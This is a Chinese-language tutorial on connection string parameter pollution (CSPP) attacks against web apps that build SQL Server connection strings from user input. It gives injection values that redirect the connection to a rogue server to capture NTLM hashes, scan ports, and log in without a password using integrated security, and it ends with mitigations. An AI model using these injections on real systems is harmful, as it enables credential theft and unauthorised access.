您好,登錄后才能下訂單哦!
如何分析CSPP連接字符串參數(shù)污染攻擊,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。
SQL注入攻擊是最常見的注入攻擊方法,主要利用web應用調(diào)用數(shù)據(jù)庫查詢的實現(xiàn)缺陷來進行攻擊。
CSPP攻擊,顧名思義,則是通過利用應用程序連接到數(shù)據(jù)庫過程中設計缺陷來進行漏洞攻擊。
由于現(xiàn)在WEB應用數(shù)據(jù)查詢體系的發(fā)展方向,導致CSPP攻擊已經(jīng)逐漸消失在大眾的目光下。
(Connection String Parameter PollutionAttacks 連接字符串參數(shù)污染攻擊)
典型的web應用程序的身份驗證系統(tǒng)有兩種實現(xiàn)結(jié)構(gòu):
1、創(chuàng)建自己的憑據(jù)認證系統(tǒng) (目前常見于WEB應用)
2、將其委托給數(shù)據(jù)庫引擎(目前常見于內(nèi)網(wǎng)應用)
在大多數(shù)情況下,應用程序開發(fā)人員選擇只使用一個用戶連接數(shù)據(jù)庫。
從數(shù)據(jù)庫端來看,這個數(shù)據(jù)庫用戶代表整個web應用程序,web應用程序?qū)⑹褂眠@一個數(shù)據(jù)庫連接,來實現(xiàn)對存儲應用程序的用戶身份憑證的自定義用戶表進行SQL查詢。
圖1.公共web應用程序身份驗證體系結(jié)構(gòu)
Web應用程序管理登錄過程圖
1.Web應用程序使用它的憑據(jù)連接到數(shù)據(jù)庫
2.查詢用戶登錄信息
3.檢查存儲在用戶自定義表中的用戶登錄信息
web應用程序由一個數(shù)據(jù)庫用戶標識,該用戶可以訪問數(shù)據(jù)庫中的整個應用程序內(nèi)容,因此,不可能在數(shù)據(jù)庫中的不同對象上實現(xiàn)粒度化的權(quán)限系統(tǒng),或者跟蹤web應用程序中每個用戶的操作,只能將這些任務委托給web應用程序本身。 這種架構(gòu)很常見,可以在廣泛使用的CMS系統(tǒng)中找到,如Joomla、Mambo和許多其他系統(tǒng)。通常情況下,攻擊者的目標是從數(shù)據(jù)庫中的users表中獲取應用程序用戶憑據(jù)。
另一種方法是將身份驗證委托給數(shù)據(jù)庫引擎,這樣連接字符串就不再包含一組固定的憑據(jù),而是使用用戶輸入的憑據(jù),并由數(shù)據(jù)庫引擎負責檢查它們。
數(shù)據(jù)庫管理程序經(jīng)常使用這種委托身份驗證,以便連接到應用程序的用戶只能訪問和控制他擁有權(quán)限的對象和操作。有了這種架構(gòu),就可以實現(xiàn)一個細粒度的權(quán)限系統(tǒng),并能夠在數(shù)據(jù)庫中跟蹤用戶的操作。
圖2.Web應用程序委托身份驗證體系結(jié)構(gòu)。
數(shù)據(jù)庫引擎管理登錄過程
1.web應用要求輸入憑證
2.連接字符串由要連接到數(shù)據(jù)庫的輸入憑證組成
3.連接字符串中使用的用戶的決定著賬號的角色和權(quán)限
本文中描述的CSPP攻擊集中于第二種環(huán)境: 將身份驗證委托給數(shù)據(jù)庫引擎。
tips: 較久遠的內(nèi)網(wǎng)客戶端應用常用第二種架構(gòu)。
連接字符串被用于連接應用程序到數(shù)據(jù)庫引擎。
其中指定要連接的服務器和端口、數(shù)據(jù)庫名稱、身份驗證憑據(jù)和一些連接配置參數(shù),如超時、替代數(shù)據(jù)庫、通信協(xié)議或加密選項。
一個用于連接到Microsoft SQL Server數(shù)據(jù)庫的普通連接字符串:
"Data Source=Server, Port; Network Library=DBMSSOCN;Initial Catalog=DataBase; User ID=Username; Password=pwd;"
如示例所示,連接字符串是由分號(;)分隔的參數(shù)集,每個參數(shù)是一個鍵值對。
無論SQL server是什么版本(7,2000,2005和2008),其中默認支持程序的連接字符串語法是相同的
在授權(quán)認證環(huán)境中,連接字符串注入技術(shù)允許攻擊者通過在參數(shù)后面附加分號(;)來注入?yún)?shù)。
在一個要求用戶輸入用戶名和密碼以創(chuàng)建連接字符串的示例中,攻擊者可以輸入密碼,例如"pwd;Encryption=off",產(chǎn)生的連接字符串如下:
"Data Source=Server, Port; Network Library=DBMSSOCN; Initial Catalog=DataBase; User ID=Username; Password=pwd; Encryption=off"
填充連接字符串時,加密值將添加到前面配置的參數(shù)集中
參數(shù)污染技術(shù)用于覆蓋參數(shù)上的值。它們在HTTP[5]環(huán)境中是眾所周知的,但它們也適用于其他環(huán)境。在本例中,可以將參數(shù)污染技術(shù)應用于連接字符串中的參數(shù),從而允許多種攻擊。
示例場景:
1、一個運行在Windows的IIS Web服務器上的web應用程序,
2、其中用戶認證時需要一個用戶[User_Value]和一個密碼[Password_Value]。
3、應用程序?qū)⒂脩糨斎氲膽{據(jù)用于創(chuàng)建到SQL Server數(shù)據(jù)庫的連接字符串,
如下所示:
Data source SQL2005; initial catalog dbl ; integrated security=no; user id=+' User_Value' + ; Password=+'Password Value' + ;
PS: integrated security 集成安全性
這個連接字符串顯示了應用程序如何連接到SQL Server數(shù)據(jù)庫引擎。
知道了這一點,攻擊者就可以執(zhí)行連接字符串參數(shù)污染攻擊。
這種攻擊的思想是向連接字符串添加一個具有所需值的參數(shù),而不管該參數(shù)是否已經(jīng)存在于字符串中或已經(jīng)設置的值中。
.net應用創(chuàng)建連接字符串時默認使用連接字符串中最后一次出現(xiàn)的參數(shù)的值。
即,如果連接字符串有兩個鍵為“Data Source”的參數(shù),那么使用的值將是最后兩個對中的一個,這允許以下CSPP攻擊向量:
攻擊者可以在Internet放置一個用于監(jiān)聽的欺詐SQL Server,并使用SQL Server憑證嗅探器監(jiān)聽(在本例中使用了CAIN )。
攻擊者會進行如下CSPP攻擊:
User Value :Data Source = Rogue _ Server (欺詐服務器地址)
Password Value: Integrated Security true (集成安全性啟用)
PS: integrated security 集成安全性
正確拼接將生成以下連接字符串:
Data source SQL2005; initial catalog dbl; integrated security=no; user id=;Data Source=Rogue_Server; Password Integrated Security=true;
此時"Data Source"和"Integrated Security"參數(shù)被覆蓋,因此SQL Server本地驅(qū)動程序?qū)⑹褂米詈笠唤M值,而忽略前面的值。
此時,應用程序?qū)L試使用運行的Windows憑據(jù)連接到欺詐服務器,該憑據(jù)可以是系統(tǒng)用戶,也可以是應用程序池用戶。此時通過在欺詐服務器嗅探,可以獲取到web應用所使用的憑據(jù)。
ASP.NETEnterprise Manager 是一個被遺棄的、不受支持的開源數(shù)據(jù)庫工具,通過web界面來管理SQL Server數(shù)據(jù)庫,這個工具還可以從SourceForge等網(wǎng)站上獲得。
圖3.利用CSPP竊取ASP.NET企業(yè)管理工具中的帳戶信息
圖4.在欺詐服務器中運行的Cain收集到HASH值
HASH竊取主要流程
1、構(gòu)造鏈接,使得服務器向欺詐服務器發(fā)起攜帶默認認證信息的請求。
2、最終導致在應用將憑證發(fā)往安裝了數(shù)據(jù)庫連接嗅探器的欺詐服務器上,
3、嗅探器CAIN成功收集到了允許訪問該帳戶的LM哈希。
tips:現(xiàn)在可以使用其他的憑證嗅探工具,如respender
連接字符串上的一個有效參數(shù)是要連接到的端口。
攻擊者可以通過修改端口號嘗試連接到不同的端口,通過對比獲得的錯誤消息,從而實現(xiàn)掃描內(nèi)部或外部網(wǎng)絡上的服務器:
注入輸入值:
User_Value: Data Source =Target_Server, Target _Port
Password Value: Integrated Security true
PS: integrated security 集成安全性
此種輸入將產(chǎn)生以下連接字符串:
Data source SQL2005; initial catalog dbl ; integrated security=no; user id=;Data Source=Target Server, Target Port; Password=; Integrated Security=true;
此連接字符串將忽略第一個“Data Source”參數(shù),并將使用最后一個“Data Source”參數(shù),這意味著web應用程序?qū)L試連接到“Server”機器上的“Target Port”端口。
觀察返回的錯誤消息中的差異,從而可以執(zhí)行端口掃描。
mylittleleadmin和myLittleBackup都是由myLittleTools開發(fā)的商業(yè)工具。這兩個工具在mylittleleadmin 3.5和myLittleBackup1.6版本之前都容易受到CSPP攻擊。
圖5 可以通過端口80建立到www.gooogle.com的連接
圖6 無法通過XX端口與www.google.com建立連接
端口掃描分析過程:
如圖5所示,當端口正在監(jiān)聽(打開)時,獲得的錯誤消息說沒有Microsoft SQL Server正在監(jiān)聽,但是成功建立了TCP連接。說明端口是開放的。
如圖6所示,當端口關(guān)閉時,TCP連接無法完成,錯誤消息是不同的。使用這些錯誤消息,可以在服務器上運行完整的TCP端口掃描。
攻擊者可以試圖通過使用web應用程序使用系統(tǒng)帳戶連接數(shù)據(jù)庫,而不需要用戶提供賬號密碼信息:
輸入值:
User Value: Data Source =Target_Server (目標服務器)
Password Value: Integrated Security true(啟用集成安全)
PS: integrated security 集成安全性
這些注入的值將產(chǎn)生以下連接字符串:
Data source SQL2005; initial catalog dbl ; integrated security=no; user id=;Data Source=Target Server, Target Port; Password Integrated Security=true;
這一次是主要用“True”值覆蓋的“integrated security”參數(shù)。
這意味著系統(tǒng)將嘗試使用工具正在運行的系統(tǒng)帳戶連接數(shù)據(jù)庫。
在本例中,這是web服務器中的web應用程序使用的系統(tǒng)帳戶。
PS: integrated security屬性請看附錄
發(fā)布在微軟網(wǎng)站上的SQL Server Web Data Administrator版本容易受到CSPP攻擊。
下面的截圖顯示了如何使用這種類型的攻擊訪問系統(tǒng)。
圖7.在WEB Data Administrator工具上利用憑據(jù)
圖8.使用服務器帳戶進行控制臺訪問
圖9系統(tǒng)帳戶訪問授權(quán)。
在圖7中,密碼值為如上所述的: integrated Security=true。
在圖8中,攻擊者可以登錄web應用程序來管理整個系統(tǒng)。
如圖9所示,漏洞原因是所有用戶和網(wǎng)絡服務都可以訪問服務器。
常規(guī)連接數(shù)據(jù)庫字符串示例:
string constr = "Data source=(local);initial catalog=data;integratedsecurity=true";
integratedsecurity=false (默認)
表示一定要輸入正確的數(shù)據(jù)庫登錄名和密碼,才能進行登錄認證。
integratedsecurity=true
表示可以在不知道數(shù)據(jù)庫用戶名和密碼的情況下時連接數(shù)據(jù)庫,利用當前應用憑據(jù)進行認證。
通過構(gòu)造CSPP將integrated security 覆蓋為true,能夠?qū)崿F(xiàn)HASH竊取,免密登錄等效果。
這些技術(shù)也適用于其他數(shù)據(jù)庫引擎,
如Oracle數(shù)據(jù)庫,它允許管理員在數(shù)據(jù)庫中設置集成的安全性。 此外,在Oracle連接字符串中,可以通過強制使用sysdba會話來改變用戶連接的方式。
MySQL數(shù)據(jù)庫不允許管理員配置集成的安全認證過程。然而,仍然有可能注入代碼和操作連接字符串,以嘗試連接到未向Internet公開的內(nèi)部服務器。
各種數(shù)據(jù)庫的連接字符串
mysql "Server=localhost;Database=mytest;User=root;Password=;Port=3306;Charset=utf8" SQL Server "Database=MyData;DataSource=NICKYAN-PC;User Id=sa;Password=123123;" Oracle "DataSource=NICKYAN-PC;User Id=PB_DB_USER;Password=123123;IntegratedSecurity=no" OleDB "Provider=Microsoft.Jet.OLEDB.4.0;DataSource=RedGlovePermission.Web\DB\MyData.mdb;Persist Security Info=False"
追加
常規(guī)連接數(shù)據(jù)庫字符串示例:
string constr = "Data source=(local);initial catalog=data;integrated security=true"; PS: integrated security 集成安全性 Integrated security存在true和=false兩種可選參數(shù) integrated security=false (默認)
表示一定要輸入正確的數(shù)據(jù)庫登錄名和密碼,才能進行登錄認證。
integrated security=true
表示可以在不知道數(shù)據(jù)庫用戶名和密碼的情況下時連接數(shù)據(jù)庫,利用當前應用憑據(jù)進行認證。
通過構(gòu)造CSPP將integrated security 覆蓋為true,能夠?qū)崿F(xiàn)HASH竊取,免密登錄等效果。
mysql
"Server=localhost;Database=mytest; User=root;Password=;Port=3306;Charset=utf8"
SQL Server
"Database=MyData;Data Source=NICKYAN-PC;User Id=sa;Password=123123;"
Oracle
"Data Source=NICKYAN-PC;User Id=PB_DB_USER;Password=123123;Integrated Security=no"
OleDB
"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=RedGlovePermission.Web\DB\MyData.mdb;Persist Security Info=False"
微軟發(fā)布了ConnectionStringbuilder是避免這類攻擊,但并不是所有的項目都更新為使用這些新的安全組件。 為了避免這些攻擊,必須過濾掉分號字符,清除所有參數(shù),并加強防火墻,以便不僅過濾入站連接,還防止來自向internet發(fā)送NTLM憑據(jù)的內(nèi)部服務器的出站連接。
看完上述內(nèi)容是否對您有幫助呢?如果還想對相關(guān)知識有進一步的了解或閱讀更多相關(guān)文章,請關(guān)注億速云行業(yè)資訊頻道,感謝您對億速云的支持。
免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。